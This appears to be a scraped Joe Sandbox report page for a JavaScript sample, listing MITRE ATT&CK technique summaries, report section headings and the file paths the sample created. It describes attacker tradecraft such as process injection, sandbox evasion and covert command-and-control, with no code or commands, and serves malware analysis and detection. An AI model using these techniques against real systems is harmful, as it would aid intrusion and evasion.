Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 270423757158192531.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8cfc3c19-e72c-411b-843f-8919e42212bd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7924

Windows Analysis Report
270423757158192531.js